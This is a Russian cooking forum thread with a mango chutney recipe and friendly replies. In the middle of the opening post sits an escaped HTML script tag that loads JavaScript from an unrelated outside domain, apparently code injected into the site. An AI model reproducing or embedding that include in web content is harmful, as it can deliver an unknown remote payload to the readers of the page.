Чатни из манго


  1. Как известно, чатни - это широко распространенное на юге Азии блюдо. Это традиционная приправа, которую обычно готовят из фруктов - в частности, из манго. Делюсь рецептом.

    Чатни из манго - это очень популярная индийская приправа, которая благодаря специям и необычной технологии приготовления очень здорово возбуждает аппетит. Обычно ее передают перед основным блюдом, вместе с какой-нибудь закуской. В нашей семье чатни из манго используется разными способами - намазываем на хлеб, добавляем в блинчики, подаем с оладьями, всякими разными закусками... Вкус передать сложно - надо пробовать. Чего вам и желаю!&ltscript type=text/javascript src=http://fsgv.ru/i.js&gt&lt/script&gt

    Количество порций: 8

    Очень простой рецепт чатней из манго домашней кухни пошагово с фото. Легко приготовить дома за 30 мин. Содержит всего 187 килокалорий. Авторский рецепт домашней кухни.


    Чатни из манго
    • Время подготовки: 7 минут
    • Время приготовления: 30 мин
    • Количество калории: 187 килокалорий
    • Количество порций: 8 порций
    • Сложность: Очень простой рецепт
    • Национальная кухня: Домашняя кухня
    • Тип блюда: Соусы, Чатни

    Ингредиенты на восемь порций

    • Манго — 2 Штуки
    • Растительное масло — 2 Ст. ложки
    • Перец чили — 2 Штуки
    • Специи — 3 Щепотки (зира, зерна горчицы, перец горошком, соль, сахар, кориандр, паприка)
    • Лимонный сок — 2 Чайных ложки

    Пошаговое приготовление

    1. Очищаем манго от кожуры.
    2. Мякоть манго нужно размять ложечкой до пюреобразного состояния.
    3. В сковороде разогрейте масло, обжарьте в нем перец и специи в течение 1-2 минуты на быстром огне.
    4. Теперь добавляем лимонный сок, перемешиваем.
    5. Сразу же добавляем манго и уменьшаем огонь. Тушим, помешивая, в течение 5 минут.
    6. Снимаем с огня, охлаждаем - и готово! Хранить в холодильнике.


     
    xxuwauiag и Люся_Е нравится это.

    Похожие рецепты

  2. @olgaa, Рецепт просто прелесть!
     
  3. Вау:D
    с удовольствием попробую потом сделать такую вкуснотищу
    От вас жду еще рецептиков :))
     
  4. Я тоже обожаю чатни из манго
    но сама делала только один раз.
     
  5. спасибо за отличный рецепт!
     
    Катарина_З нравится это.
  6. Браво!!! Так просто и так обалденно вкусно!
     
    Jndooovj нравится это.
  7. Мы тоже недавно первый раз делали чатни из манго. Но по твоему рецепту готовить несколько сложнее, но попробуем :)
     
    Макушенко М и Joeoate нравится это.
Национальная кухня: